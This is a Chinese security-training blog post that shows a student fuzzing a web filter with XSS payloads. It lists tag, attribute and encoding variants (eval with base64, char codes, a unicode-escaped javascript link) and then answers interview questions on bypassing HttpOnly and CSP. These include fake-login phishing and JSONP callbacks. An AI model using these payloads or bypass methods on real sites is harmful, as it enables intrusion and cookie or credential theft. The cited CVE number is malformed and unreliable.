作者:掌控安全学员-astronaut
<h1>加油</h1>
以后,它返回给我的结果如下图所示<a href="https://bbs.zkaq.cn/">我很来劲</a>
经初步测试发现,普通的弹窗对它来说是不起作用的
开始fuzz
利用拼接函数
<svg onload="a(this);function a(){}(alert`1`)">
<details ontoggle=this['ale'+'rt']`1` open>
<audio src/onerror=self['pro'+'mpt'](1)>
<img/src=1 onerror=window.alert(1)>
拦截
尝试不同属性
<form action=javascript:alert(1)><input type=submit>
<object data=javascript:alert(1)>
拦截
尝试不同标签
<body onload=alert(1)>
<marquee onstart=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<form onsubmit=alert(1)><input type=submit>
拦截
蟹不肉
编码
<details open ontoggle=eval('%61%6c%65%72%74%28%31%29') >
<details open ontoggle=eval(atob('YWxlcnQoMSk='))>
<img/src=1 onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
< a href="javascript:al\u{65}rt(6)">XSS Test</ a>
最终,unicode编码成功绕过防护,网费拿下
12期学员找工作中,本篇正好又聊到了xss,咱就扯几道面试题(总群里的)吧
Q1:如何绕过http-only?
A1:首先谈谈http-only,它的作用仅仅是为了避免攻击者获得cookie信息,插还是能插的。
再看如何绕过,可以说说风哥提到的这两点 -- csrf、借助phpinfo()让页面显示cookie。
除此之外,还可以劫持钓鱼绕过,利用姿势为管理员触发xss后,当前页面即刻跳转至登陆界面
若管理员稍不留意填写了账号和密码,不就拿下了,为啥,因为登陆界面是伪造的。
还有没有啥绕过方式?
有啊,比如CVE-2012-005,只要攻击者向目标站点植入超大cookie,使得http头超过apache的最大请求长度,apache便会返回400状态码,以及被http-only保护的cookie
Q2:谈一谈csp安全策略,以及如何绕过?
A2:csp即为HTTP Header中的Content-Security-Policy,它存在的目的主要是通过白名单的方式告诉浏览器允许加载和不允许加载的资源。
具体用法可以使用script-src,让浏览器只能加载指定规则下的js代码,其他的都一律拒绝。
接着讲讲怎么绕过
姿势1 -- jsonp绕过
什么是jsonp,它首先基于json格式,存在的目的在于解决跨域请求资源,而它的原理则是动态地插入带有跨域url的script标签
然后调用回调函数,将用户所需的json数据作为参数传入,通过一些逻辑把数据显示在页面上
说到这儿,自然是明白如何通过它绕过csp了,还不是因为它允许不安全的回调方法,从而给攻击者执行xss创造了机会?
直接callback=alert`1`就完事儿了。
姿势2 -- 利用iframe的srcdoc属性绕过csp
但有前提,那就是应用得允许加载来自白名单域的iframe,满足了这个前提就可以插了,咋插?用手插
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.
好文推荐